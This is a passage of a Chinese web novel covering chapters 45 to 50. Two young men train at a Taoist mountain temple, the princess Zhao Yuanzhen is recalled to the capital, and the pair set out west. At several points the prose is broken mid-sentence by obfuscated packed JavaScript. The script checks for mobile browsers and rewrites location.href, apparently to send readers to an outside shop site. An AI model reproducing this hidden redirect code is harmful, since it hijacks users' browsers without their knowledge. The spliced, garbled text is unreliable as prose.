然而魏无功不知道的是,那个触感柔软、材质坚韧、外表光滑的皮绳,是西域榷场高价买的骆驼皮,强过市面上能见到的最好的牛羊皮,连大山里的鹿皮也没有这样好的。皮绳经过悉心打磨和编织,毛刺都见不到一根儿。两边作为装饰的沉香和牙珠,一个来自南海更远的岛屿,一个来自吐蕃的雪山,单拎出任何一个,都是千金难求的宝贝。 不过李在宥并不想解释,一如玄清子所说,身外之物,不过缘法,他魏无功带上了就行了。 三天之后,魏无功拖着李在宥,从山下扛上来出行用的大包小包,赵元贞按照约定又问了他一次。 他依旧答应得十分爽快。 于是,一枚云昭阁的玉牌,被正式交到了他手上。 赵元贞看着正在端详牌子的魏无功,和在一边叽里呱啦的李在宥,问:“拿了牌子高兴吗?” “高兴啊,那肯定高兴……”魏无功头也没抬,看着云昭阁玉牌小小的缺角,想着里面又是暗藏什么玄机。 赵元贞站在两人面前的台阶上,看着两个凑在一起蛐蛐的脑袋歪嘴一笑,图穷匕见:“从明天起,你们的行前特训就要开始了。” “什么?”李在宥和魏无功齐刷刷抬头看着她。 “你,跟我学认字读书,”她指着魏无功,然后指尖平移到李在宥脸上:“你,跟着真人精进功夫。” “不是吧……”李在宥很懵:“怎么还有我的事儿……” “你那个绣花枕头的功夫,我早就看不下去了,已经跟真人打好招呼了,好好治你!”赵元贞睥睨着他说完,嘴角一勾转身走了。 “完蛋,”李在宥愣在原地,轻微设想了一下蚕姑坨的训练强度,感觉腿肚子有点打颤,再加上玄清子那个性格…… 魏无功此时心情也十分复杂,手里质地温润的昆山白玉牌突然变得无比沉重。 “师父说得对,云昭阁真话只说一半,”他长舒一口气:“我果然容易受读书人蒙骗……” 46.赌局 三九天寒无法行路,在开春之前,他们几个还要在蚕姑坨待上一段时间。几个大人一番合计,准备让小伙子们先好好磨一磨心性。道路险阻,心志更要弥坚。不管是身体上还是心理上都要做好充足的准备,应对可能的任何变化。 最后一个闲暇的傍晚,李大人和魏大人都很焦虑。 吃过晚饭,魏无功蹲在静室门槛儿上,看李在宥摆弄笔墨纸砚,心里感觉有点儿紧张,问:“我这一天学堂没上过,万一学不会怎么办……” “放心吧,你肯定学得会,”李在宥并不担心这个问题,不过他知道赵元贞的喜好,因此提前把念书要用的东西挨个儿摆好,看着像那么回事。 “下课记得问问题。”他说。 “问什么问题?”魏无功问。站在书案前的李在宥有一种说不出来的气质,蹲着看更明显了,怪养眼的。 “什么问题不重要,重要的是你问了。”李在宥用镇纸把毛毡两边压好,看了他一眼:“这说明你在思考。” 说完,他也学着魏无功一起蹲在门槛儿上,看着天边发呆。玄清子让他卯时就去法场报到,比后院儿的鸡起得还早。愁啊。 “诶,我问你,”魏无功拿肩膀撞了他一下:“你小时候在哪儿长大的?” “我啊,在江南,”李在宥说:“烟花三月下扬州那个扬州。” “好地方。”魏无功看他答得还挺快,又问:“那你家里呢,爹娘做什么营生?” “爹娘啊……早死了,我是舅舅带大的。” “……”魏无功一愣:“那……那怎么后来一个人上京城了呢?” “考上的,”李在宥一扬眉毛,看着他:“我是不是还没跟你说过,我当时科举,中了探花。” “嚯,这么厉害!”魏无功为了多探两句他的根底,情绪给得很足。 “可不是,”他由蹲改坐,两条腿伸得老长,手提着衣襟一掸,说:“想当年啊,我骑着高头大马,帽子上别着大朵芍药花,一袭白衣招摇过市,就这么直接一路骑到宫门。两边官兵开道,左一溜儿举着‘肃静’,右一溜儿扛着‘回避’,前面小太监碎步跑着,提个大铜锣鼓‘咣当’敲,衬得我这新科探花是威风凛凛,是仪表堂堂,沿路不仅寻常百姓驻足观望,还有未出阁的小姐朝我扔荷包呢……” “……”魏无功听他嘚瑟,越听越不对。 “滚蛋,”他把头转到另一边靠着门框:“嘴里没一句真话。” 早知道李在宥是啥德行,他一开始就不该信! …… 第二天中午,魏无功上完早课,顶着一脑袋不属于自己的知识,晕晕乎乎地去找李在宥吃饭,结果发现满山找不见人,心忖这是让玄清子一脚给踹哪儿去了。 “李大人呢?”他问正在备饭的紫苑。 “不知道,躲哪儿哭去了吧。”紫苑笑着把碗筷码上。 魏无功一愣:“挨揍了?” 紫苑挤挤眼睛没说话。 “……”魏无功感觉自己头更大了。 “我找他去。”他头转身出去,没回头,对着身后摆了摆手。 法场和大殿巡完没找见,后山的亭子也没人,菜园子里一堆姑婆,李大人肯定也不好意思去,最后是在道房边上一堆松树林子里才把人找到。松树林针叶、松果落了一地,李在宥坐在地上背靠树干,从后面看像是在思考。 “李大人这是怎……”魏无功话还没说完就愣住了。无他,李在宥这会儿脑袋肿得像个猪头。 李在宥抬头看了他一眼,没做声,屁股往旁边挪了一点儿,留出半块儿石板给魏无功。 “你……你没事儿吧?”魏无功问。玄清子这下手也太黑了,这要没点儿私人恩怨说出去谁信呐。 “没,”李在宥说,轻轻呼了口气:“就是有点儿不太习惯。” 这要习惯了就出毛病了。魏无功心想。 他看李在宥坐在地上,眼睛都肿眯缝了,看着忒惨,问:“要不跟公主说一声……” 李在宥摇摇头:“她知道。” 赵元贞课间的时候出来看过,什么也没说。本来也有意让玄清子出口气,只是没想到她那口气这么大——当然,也有可能是玄清子故意打给她看的。 “……”魏无功又语塞了。神仙打架,小鬼遭殃。 “真没事儿,”李在宥说:“就是感觉有点儿丢人。” 上午在法场上玄清子都没出手,青杏一个人就给他揍得爬不起来。清晨还好点儿,等日上三竿了,他的狼狈被来来往往的的道姑们看得一清二楚。 “不丢人,打地基嘛,都是趴着过来的。”魏无功安慰他。 “嗯……”李在宥哼唧一句:“你怎么跑这儿来了?” “喊你吃饭来的。” “哦。”原来是饭点到了。“那走吧,”李在宥说。 “你……”魏无功看他直接起身准备去饭堂,想了想,感觉自己可能会后悔,但是还是问了: “是不是还没照镜子呢?” “什么?”李在宥望着他,愣了半秒,随即一摸脸,发出一串儿尖锐爆鸣: “啊——”他边嚎边往道房里冲。 魏无功跟在他后面,听他“嘭!”的一声把门关上了。 “诶,出来,先吃饭,”魏无功隔着门敲。 “不去!”李在宥知道自己可能有点儿肿,没想到肿成这样,看到铜镜里的形象,说什么也不肯出门:“不吃了!你别管我!” “啧,”魏无功啧一声,早知道不告诉他了。 “吃饭去,”他侧身靠着门,听里面的动静。 “不!”李在宥在门那头靠着,说:“都看见了……” “谁看见了?”魏无功问:“不都早知道了吗?” 玄清子看见了,道姑们看见了,赵元贞也看见了,连一边跟着学的小豆饼也看见了,人已经丢完了,这会儿扭捏个什么劲儿。 “……”门背后的李在宥想了会儿,说:“沈老哥不是还没看见嘛!” 魏无功翻了个白眼:“你很介意他看没看见吗?” 倒也并不。 但是此时此刻好像也没有别的理由了。 “行啦,先吃饭,”魏无功把门往里推推,感觉松动了点儿,说:“下午我去跟我师父说。” “不!”李在宥连忙喊,“吱啦”一下把门打开了一条缝:“不说!不用你说……” “怎么不让说了还?”魏无功抱个膀子笑着望着他。 “唉——”门后面探出半个脑壳的李在宥迅速抬眼看了他一下又把门阖上了:“反正就是不用跟她说……” 他不想让玄清子觉得他这点儿苦都吃不了。既然说好了要精进功夫,管他过程中有多少磋磨,他李在宥还是希望最后有个拿得出手的成绩。 “又没有多严重,也不痛……”李在宥说:“就是丑了点儿。” “那行,那吃饭。”魏无功又开始推门,门被李在宥重新抵住,还是没好意思顶着这个形象出门。 “我使用暴力了啊,再不去下午又挨一顿削。”魏无功懒得跟他推推搡搡,再去晚点儿耽误收摊儿,被他师父看到了又要不高兴,不高兴又要变着法儿折腾人,一来二去没完没了了,直接破门而入扛起人就走。 “诶我去!”被他跟麻袋一样扛肩膀上的李在宥疯狂扑腾:“你神经病啊放我下去我自己能走!” “晚了!”魏无功笑得一脸奸邪:“让你磨叽!” 他一转身,突然定住,笑还没来得及收回去。 玄清子一直就在他们身后不远处,拿着个拂尘立着,估计也是来喊他们吃饭的。 魏无功下意识就想把李在宥扔出去,但是忍住了。 “师父。”他喊了一声。 听他这么一喊,李在宥僵住不动了,整个人挂在肩膀上成了个真麻袋。 “准备去吃饭。”玄清子说,没什么表情。 “是。”魏无功盯着她眼睛,答应了一声。 玄清子看了他手一眼,转身走了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307228|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“卧槽……”李在宥看玄清子回过头去,左手倒右手在魏无功两边脸上来回揉拍:“你就不能把我先放下去再说话吗!” “让你跟我拿乔,”魏无功皮糙肉厚只当是蚂蚁咬了两口,把人在肩膀上故意颠两下:“请几次了都不出来,就这么着吧。” 他们师徒俩有自己的较劲方式。玄清子既然揣着明白装糊涂,他也就这么扛着人跟着她的脚步往饭厅走。 李在宥等了一会儿,发现魏无功是真的不打算放自己下来了,玄清子隔得不远他又不好意思大声造次,挣扎了一小会儿消停了。 “这回真是丢人丢到姥姥家了……”李在宥找了个舒服的姿势挂好,两手捂着脸,脑袋朝下,感觉他这个颗脑袋更肿了。 到了饭堂,沈仓正在埋头扒饭,看见他俩这个造型进来,刚想笑,等不逆光了发现李在宥的脸又愣了。魏无功拿口型冲他比了个“嘘”。 沈仓只好假装无事发生跟大家打了个招呼,并偷偷看了一眼玄清子——玄清子一贯不苟言笑的脸上,怎么似乎还带上了一丝愉快…… 饭桌上,赵元贞避嫌没有出现,带着小豆饼在暖阁吃的饭,沈仓早早吃完拿着碗筷去洗了,饭桌上就剩他们仨。玄清子本来就不爱说话,吃完抬脚就走。魏无功看她起身出去了,放下碗筷也要跟出去,被李在宥扯了手腕子: “不是说不找她说的吗!” “谁管你的事儿,”魏无功勾唇看他又着急上火的小表情,“啪”地把他手拍掉,说:“我就不能有点儿我自己的事儿了吗?” “……行吧,”李在宥把脸转回去,瘪瘪嘴接着吃饭。 魏无功在他大肿脑袋上弹了一下,撂下一句“我的碗你洗”,小跑出了饭堂。 他跟着玄清子,一路保持了一个不远不近的距离。玄清子自然是知道他在身后的,本来要去道房休息,临时拐道小亭。 下元节一过,天开始转冷了,这会儿亭子里的往来风带了一丝轻微的寒意。玄清子挑了个石凳坐下,魏无功也跟着坐了。 “你不用来替他求情,”玄清子看他入座,说话依旧不留余地:“他力量不够,该怎么练就得怎么练。” 魏无功心想那也不能练到脸上去。不过他并不打算回怼,而是说:“您是师父,自然是您说了算,他得听着。” 玄清子看了他一眼,感觉有点儿好笑。魏无功下了山去,性情是真的变化挺大,都学会迂回了。 “那你找我说什么?”玄清子问。 魏无功清清嗓子,说:“我是过来埋怨您没替我考虑的。” “哦?这话怎么讲?”她问,嘴角噙着一个微弱的弧度。 “都是当师父的,您把他打了,万一公主上课刁难我怎么办呢。”魏无功趴在石桌上,拿脑袋枕着胳膊,假装委屈。 “你不一样,你学东西心静,”玄清子看他一眼,说:“不像他骄矜。” “才第一天,您这话可能早了。” “哼,还说不是来求情的,”玄清子弹了一下他的脑袋:“我看啊,他也就三天的新鲜劲头,练不出什么东西。” “赌吗?”魏无功坐起身。 “什么?”玄清子没听明白。 “打个赌,”魏无功说:“赌他能坚持几天。” “这倒是稀奇,”玄清子歪着头瞧他:“你赌几天?” “我赌他能一直坚持练到出三九,西行之前。”魏无功看着她。 两人就这么面对面互盯了一会儿。半晌,玄清子问:“赌注是什么?” “要是您赢了,我替您再把他揍一顿,让您消消气,”魏无功笑笑,卷发在秋风里被吹得掉下来一绺,被他一掌抚到后头。 “要是我赢了,您把偃芯借我使使。” “哈!” 玄清子突然发出一声大笑。 这个动静在她的情绪状态里很少出现,她自己都觉得自己有些怪异。 “那就这么说定了。”她起身,拍拍魏无功的肩膀,迈着轻快的步伐离开了。 47.如琢如磨 法场上,李在宥照例被踹飞很远,在及膝的雪地里留下一条崭新的痕迹。 破晓前的天是最黑的,按照这个势头下去,等天大亮了姑子们都起来了,应该能看到法场上沟壑纵横…… 他熟练地拍拍雪站起来。 三九的天气,多趴一会儿就凉透了,一直重复蹲起运动没准儿还热乎点。李在宥甩甩头,对对面的青杏点点头,重整精神迎了上去。 三清殿前的台阶上,玄清子依旧是半闭着眼睛,听着青杏和李在宥搭手沉闷的皮肉交响,心里想着两个多月前打下的赌局,看来是要输了。李在宥无论是力量还是反应速度都在增加,说一声日进千里也不为过,不知道是什么时候偷偷开了窍,总不能是被揍通了任督二脉吧。 照这个速度下去,她很快就得亲自上课——青杏已经没有什么能继续教他的了。 “歇会儿吧,”玄清子感觉到视线里光线的变化,天快要亮了,已经练了一个多时辰。“喝口水再继续。”她对两人说。 “是,”李在宥冲玄清子和青杏分别行了礼,呼着满口的白气,去华表底下坐着,拿起竹筒“咕咚咕咚”灌水。 清晨的山风,罡劲中透着清爽,他喘匀了气,看着天边乍破的晨光,轻轻笑了一下,陷入了回忆: 那天晚上,他第一次领教过玄清子的威力,回到道房,早早熄了灯。 躺在床上,想闭目养神都不能侧着睡,无他,脸疼。突然听见门被人轻轻叩了三下。 “睡着了吗?”魏无功在门外小声问。 “还没,”李在宥披衣坐起去给他开门。“你书背完了?”他出于礼貌问了一下魏无功,但是心里其实并不太想说话。 “还差一点,公主放我先回。”魏无功从门里进来,李在宥惊讶地发现他居然抱着被褥。 “你……”他看着魏无功把铺盖扔在他对面的床上,心突然跳得很快:“不跟沈老哥一屋啦。”当初刚上山,姑子们也不清楚情况,只当他是王宫里娇气的贵人,就把沈仓和魏无功分了一间房,让他单住。 “嗯,他打鼾。”魏无功铺床单没回头,随口说了一句,从带过来的包袱里掏出那个眼熟的小瓶子。 “当初你给我治屁股的,用脸上你没意见吧?”他转过身对着李在宥晃晃瓶子。李在宥张了张嘴,没出声儿又合上了。 “逗你的,这瓶新的,”魏无功笑着说:“公主刚给我的。”本来以为李在宥会去她那里拿的,没想到郁闷狠了没去。 “你给我抹呗。”李在宥冲口而出,说完就后悔了。 没想到魏无功居然答应了。 “行,那你坐床板儿上吧,我点个灯。” “……哦。”李在宥怔了怔,磕着牙花儿坐过去了,也不知道是起夜冻的还是什么别的原因。 “我刚写字了,手有点儿冰啊,”魏无功掏出火柴点了蜡烛,橘色的小火苗莹莹跳跃,配着道房粗糙但厚实的泥墙,看着挺温馨。 李在宥看他拿着药膏走过来,屁股不自觉往后挪了挪,臭毛病发作开始疯狂讲话:“今天赵元贞怎么教你的,感觉难吗,她留了多少功课,你结束的时候问问题了吗……” “啧,”魏无功没理他,一只手捏了他的脸,另一只手抠出一坨药膏:“眼睛闭上……嘴要不也闭上。”先从那个看着最惨的眯缝眼开始吧,魏无功想着。 “……”李在宥感觉闭上眼睛,对外界的触感更敏锐了。魏无功的呼吸扑在他脸上,带着暖湿的微弱气流,左手指尖常拉弓弦的老茧很厚,接触到被充血撑开的脸皮末梢,控制着力度,若即若离,但是还是能感觉到那一小块粗糙……完蛋,李在宥心想。血液再次一股脑涌到上来,他这个脸一时半会儿怕是好不了了。 “你学的是功夫,看招式就行了,看人的脸色的本事别用在这上面。”魏无功点了他一下:“脑袋想得少,桩子才能沉下去。” “好。听你的。”李在宥闭着眼睛点点头。 “争点儿气,”魏无功上了完药,捧着他的脑袋在手里左右掂了掂:“我可拿你押了个大宝。” “什么大宝?”李在宥问,脑袋空空。 “先不告诉你,免得你压力太大,”魏无功把带着药膏的手在他睡衣上擦了擦,转回去吹了蜡烛,一掀被子进了自己的被窝:“反正你最好是一天不落撑到头。” “哦……”李在宥在床边愣了一小会儿,也躺下了。 “你要有学不明白的,你记得问我……”过了好半天,李在宥在黑暗里说了一句。 “你也一样。”沾枕就着的魏大人迷迷糊糊应了一声就见周公去了。 太阳出现在地平线的时候,蚕姑坨的云蒸霞蔚十分壮观,日晕在云海里形成一个完整的半圆,两侧因为折射各自映出一个太阳,像是三日凌空,透着吉祥。 李在宥定定心神,扶着白玉华表站了起来,朝着法场中间走去。他从很多天以前,就不再纠周围人对他练功的态度,因为他知道并逐渐确认了自己的实力。 “师父,”他喊了一声,依旧态度温和、举止谦逊。 这次,他对面的不再是陪练的青杏,而是玄清子本人…… 书房。 小豆饼在检查魏无功的作业。 小朋友一个字一个字地仔细看,除了字丑点儿,并没有差错。 “土匪脑袋可以嘛,”她说:“《千字文》里的字儿认全了。” “咱们小魏是块璞玉,质地干净,心无杂念,所以学得快。”赵元贞捧个茶杯笑眯眯的,对自己新收的学生十分满意:“问题问得也蛮好嘛。” 魏无功挨了夸,不好意思地笑笑。赵元贞是很好的老师,针对他这个情况,给他量身定制了一套学习的法门。先从他熟悉的功夫图谱和道观唱诵的经文开始,先背书后认字,倒着一点点地补。他自己都没想到自己两个多月下来真能把常见字认全了。 “后面该学堪舆星象、绘画佛典了,尤其是星谱,这个难,做好准备。”赵元贞说。 魏无功点点头。之所以先学这些,是因为梁阿兰给他们找的进西夏的法子很特殊。边境对户籍和通关文牒管理极其严格,尤其警惕汉人面孔,首先得编一个说得过去的身份。 对于他们这样的青年男女,最终商量定的方案是混入造像工匠的队伍。 西域多信教,尤其是佛教。听闻晋王察哥接了兴庆府十年一度的炽盛光法会筹备任务,正在搜罗天下能工巧匠和风水先生,势必要凿出最恢弘的祭坛和神像。一场专门的征召从春天开始,一直到明年仲夏法会结束。综合考虑了他们几个本自身的能力,以手艺人身份应聘造像工程,很适合作为潜入西夏的初步方案。 等他们真的混进了兴庆府,后面一切就好说了。在那里,有一位德高望重的慧觉法师会与他们接头。西夏僧侣权力很大,能够搞定他们的身份问题,给他们办下来自由行走当地的必要证件。 “师父说冬至了,咱们又快要出发,今天中午一起吃素饺子。”魏无功想起玄清子的嘱咐:“豆饼你少吃点儿零食,一会儿有山楂糖球儿的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312887|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好!”小豆饼高兴地拍着手。适应了山上生活的小豆饼慢慢也把心放回肚子里,这会儿肉眼可见开始蹿个儿,娃娃气退了好些,行为举止也奔着大姑娘去了。 “走,咱们去看额日古昆练功!”李在宥换了师父,青杏也腾出手来一心一意教小豆饼,明天是她第一天正式拜师学艺,这会儿激动得不行,一手抓着元贞姑姑一手抓着无功哥哥兴冲冲往法场跑。 两人笑嘻嘻跟着她往前走,出了静室却看见一群军人打扮的人站在法场正中央和刚练完功的李在宥他们说话,不禁放缓了脚步。 赵元贞定睛一看,人群中打头儿的女将不是别人,正是梁阿兰。 “她这会子上山来干什么,”赵元贞皱起了眉头,感觉不大对劲,把小豆饼往身后一护,对魏无功说:“小魏你先把她带回去,叫你们再出来。” “好。”魏无功抱起豆饼转身就跑。 赵元贞吸了口气定定神,整理了一下裙裾,步伐轻快地走过去,老远就笑眯眯地打招呼:“阿兰妹妹!” 闻声,一群人齐刷刷地回头看她。赵元贞瞥一眼李在宥,眉头皱出个川字,看不出名堂。直到她眼睛和梁阿兰对上,梁阿兰喊了一声“姐”,冲她规矩行礼,从袖口拿出一封书信,递到她手上。 赵元贞微笑着从容接过,眼睛扫了一圈这些当兵的,都是镇戍军熟面孔,想了想,当着众人的面儿打开了。 一个大红的印章盖在寥寥数语的亲笔信上,因为沾了太多印泥,边缘油渍在宣纸纹理上晕开,像皮肤上纵横交错的毛细血管,透着官家无声的警告。 小豆饼的事儿不知怎么地被上面发现了,看在她皇室的身份上没有问责,但是勒令她带着契丹娃娃月内返回东京,不得有误。 赵元贞神色复杂地看了一眼梁阿兰。梁阿兰把眼珠转开了,没有和她对视。 “梁将军请耐心稍等,元贞这就去收拾东西。” 事已至此,赵元贞多言无益,没有犹豫和纠结,转身回了道房。 官家措辞严厉,这趟西行,她是无论如何也去不成了。 李在宥瞪了一眼梁阿兰,跟在她后面走了。梁阿兰望着两人的背影,有点儿想解释: 其实这秘密不是她捅出来的,是他们前阵子大闹茶庄惊扰了知州,那齐知州又被王总管连番敲打,怕他们回京状告自己里通外敌,脑袋不保,思来想去,决定先发制人,率先罗织了个公主窝藏契丹公主的罪名——没想到居然真被那老头儿押中了。 但是她本人也确实不想放赵元贞西去,只是迫于情面才交出了一个慧觉,所以最终想了想,放弃了澄清。 玄清子没有给他们看座,她和一群亲兵在法场的大雪地里站了一会儿,赵元贞就很利索地收拾好出来了,手里牵着个小女孩儿。女孩儿对着梁阿兰用契丹话问了声“将军好”,算是自证身份,看着举止气度,确实像是王孙。 梁阿兰抬手请两人上了军人抬的山肩舆,等了一小会儿,发现李在宥和魏无功好像没有打算出来送,轻轻叹了口气,冲法场上的玄清子一拱手,回头说了声“走吧”。 军人们抬起山轿,朝着山下走去。 还没出山门,紫苑从后面追出来,递了一碗热饺子给赵元贞,说:“真人说,山里饺子还是得吃,先供过玉皇三清的,保佑您们一切都好。” “好,替我谢谢真人。”赵元贞艰难地笑笑,冲她挥了挥手。 紫苑背手站在当年张定钧用马蹄蹚开的空门下面,目送一行人在还未染尘埃的新雪里渐行渐远。 48.正式西行,一个崭新的开始 魏无功挨着李在宥,坐在道房门口,看他手里无意识摩挲着一小串羊眼板珠子,正是自己之前串好被公主要去的那个。 李在宥不说话,他也不知道该说什么。赵元贞不想让他们看见自己狼狈,拒绝了他们送行。 她走之前,拉着李在宥的手嘱咐事情。魏无功头回看她红了眼眶子,不过不是难过,而是气的。 赵元贞拥有非凡的抱负和野心,不让她西去,估计比上刑还让她难受。 把鹰隼关在笼子里,熬到哪一年才能自由呢?他不知道。 北方来的小丫头什么时候才能回家呢?他也不知道。京城的一切人物、规矩对他来说都是陌生的。李大人可能知道,但是李大人这会儿正在神游天外。 魏无功什么忙也帮不上,只能默默揉了揉小豆饼不再有虱子的脑袋,把她的手交给赵元贞。 他看了一眼身边,一向话多的李在宥不说话是很可怕的一件事,不过魏无功应该不能完全体察他过于复杂的情绪: 有生气,气梁阿兰负义,气枢密院糊涂,气官家不长眼睛; 有不舍,舍不得赵元贞要走,更舍不得赵元贞回了东京难过; 最重要的是还有慌乱——赵元贞本来应该是团队的主心骨头,现在她离开了,他就得自己挑起西行的梁子,拿主意、定行程、打点关系、找出线索……有一种责任沉甸甸压下来,说不清楚,但是他知道它在那里。 “吃饺子去吧。”李在宥沉默了一会儿,突然转头跟魏无功说。 “啊,好。”魏无功点点头。有点惊讶公子哥儿恢复的还挺快。 “我们后面的事儿怎么办?”他问。 “照旧办,该怎么办就怎么办。”李在宥看着远方,往他肩膀上拍了两下:“我可能没有赵元贞靠谱,魏大人多担待。” “李大人谦虚,”魏无功笑笑:“那后面大半月的佛典,辛苦李大人每天挨完打多指教。”他重新抖擞精神,不想拖李在宥后腿,那些星象经本他打算先自己一点点啃,不懂了再问。 “嗯呐。”李在宥应了一声,把羊眼板珠别在自己的腰带上。 赵元贞临行前,把这个小东西放到他的手上,说:“在宥啊,带上我的眼睛,替我去看看那个更宽广的世界吧。” 和串珠子一起递过来的还有一张小纸条,写着一处地址,是西夏边境两国互市榷场里一个牙人(古代中介)的驻点。 两人强作开心地吃完了饺子,把豆饼没吃上的山楂也啃干净了。下午李在宥在法场和玄清子搭手,魏无功坐在华表底下陪着他们,抱着本乌金国莲花生大士在桑耶寺修行的参悟,硬着头皮读。 等功夫练完,李在宥先回道房,玄清子单独叫了魏无功过去。 “无功啊,那个赌局,我愿赌服输。”玄清子去自己的居所,取了一个小小的葫芦瓶子,跟魏无功说:“你要的偃芯在这里面,给你之前还有几句话。” 她把小葫芦递给魏无功:“我在里面加了朱砂。炼丹的时候,发现朱砂能一定程度稳定红色晶盐,让吃了丹药的鸟兽活得久一些,所以用朱砂包了一层,希望有用吧。毕竟是死人口里衔着的脏东西,不要贴身戴,以防万一。” 魏无功点点头,将葫芦收了,说:“谢谢师父。” “还有就是,这东西你拿着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312888|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要给他拿着。”玄清子说:“也没别的意思,就是觉得你稳当些。” “我啊,”魏无功指指自己,不知道为什么师父居然觉得他比李在宥靠谱,明明李大人才是脑子好用的那个。“好,我不给他,求我也不给。”他笑着说。 “不要轻易用,最好永远也不要用,”玄清子再三嘱咐:“这是不属于人间的力量,要对它有敬畏心。” “是,师父,我记住了。”魏无功很认真地看着玄清子向她承诺。 玄清子看着已经高出自己个一头的徒弟,心里感慨万千: “‘如竹苞矣,如松茂矣’,你们这些后生也算是出息了。” 她喊了紫苑备了好些茶饼肉干,和每一个送游子出门的长辈一样,致力于将他们的行囊塞得满满当当。 “你们俩这过年都在路上了,年节里路过老君爷的庙宇,记得要碗元宵,还是讨个彩头。”她最后说了几句家常话,将魏无功送出了自己的道房。 立春的时候,玄清子带他们在出行前,把观里的大小神仙挨个拜了一圈,挑了个良辰吉时,让紫苑青杏姐妹俩一路把人送下山。沈仓不便出门,给他们一人赞助了一把靴刀聊表心意,都是从敌将手里缴的,坚韧好看还能折叠,进攻防身都很不错。 冰雪还未消融,但是白天一天塞一天长,很快万物生长。 望着冰凌覆盖的漫漫前路,李在宥骑着吃了一冬天草料的肥马,把手一伸,笑着说:“魏大人请~” “诶,还是李大人先请~”魏无功有样学样。 马蹄西去,两人并肩的身影在初生的日光下,一点点淡出蚕姑坨的视线范围。 49.觉而无梦 魏无功又做梦了。 这一次,他跪在一个巨大的房间里,地上青砖的凉意透过他的铠甲,传到膝盖上。一滴血从他的发梢上滴落到地面,血液黏稠,红得发黑。 “把头抬起来。” 有人对他说。 闻言,他抬起头。 他的肺叶好像受了伤,喘气很重,每呼吸一次都跟针扎一样,因为失血的缘故,连视线也都跟着模糊了。 顺着高高的阶梯往上望去,上面是一把很大的椅子,金漆雕龙。椅子上面坐着那个人他很熟悉——是李在宥。 “为什么镇戍军又输了?” 李在宥问他。 梦里的李在宥未戴冠冕,穿一身赭袍,跷着二郎腿,轻微俯身看着他。 他通过模糊的瞳孔看着眼前人,感觉很奇怪,李在宥的状态很陌生,看得他一阵心悸。 他不知道说什么,于是选择了沉默。 这种无声的抗拒,似乎惹恼了椅子上的人。 “魏团练,仗打得不利索,骨头倒是硬哈。” 李在宥嗤了一声,重新靠了回去。 魏无功感觉这句话他好像在哪里听过,但是想不起来了。 那人等了一会儿,终于不耐烦了,轻轻挥了挥手。 他的左右两侧出现了几名侍卫打扮的人,准备将他从房间里拖出去。 这时候,突然远处传来一声太监尖细的惊叫: “不好啦!——金人打进来了!——” 听了这动静,房间里突然出现了好多人,慌不择路、四散逃走,连押解他的侍卫也放弃了任务,跑不见了。他的眼前出现了很多颜色的光斑,光影晃动,看不分明。 只有最高处的椅子里的那个人,无视溃退的人流,一动不动。 魏无功远远望着他半倚在椅子里,满脸漠然,仿佛身边的一切都和他没有关系。 他想开口喊他,让他快跑,可是他的肺叶坏了,他发不出声。 周围的人潮水一般流走,偌大的房间逐渐只剩他们两个——一个躺在椅子上,一个坐在地板上,相顾无言。 不一会儿,起火了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318055|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>大火将冰凉的地砖烤得开裂,火龙蹿上房间高耸的木梁,冲天的火光将一切其他的颜色吞噬。他看见那一节节台阶在他眼前坍塌,巨大椅子上的人也跟着一起在火海中沉没。 然后,一把草原的弯刀出现在他眼前,刀锋划过—— 他醒了。 马车还在晃晃悠悠地走。李在宥坐在他旁边,正小声跟同行人说着话。 “你醒啦,”李在宥转过头,冲他笑笑,递给他一个水壶。 “做噩梦了吧,喝点儿水。” 魏无功缓了一会儿,才接过水壶,猛灌了一口,问:“你怎么知道?” “听你睡觉哼唧来着,本来想摇醒你,这位大人说做噩梦的人不能突然叫醒,容易落下病根儿。” 魏无功闻言,望了一眼车里送行的那位地方官,那人捏着髭须和蔼地笑笑说:“老人说,梦里的罗刹,要自己赶走了,要是别人帮忙,罗刹可就住下了。” 魏无功冲他笑笑,平复了一下心神。一只手偷偷摸了一下玄清子给他的小葫芦,把它往包袱里面塞了塞。 50.牙人和他的老婆 到达兰州榷场外的时候,是人间最美的天气,桃花、杏花、梨花、海棠开得漫山遍野。 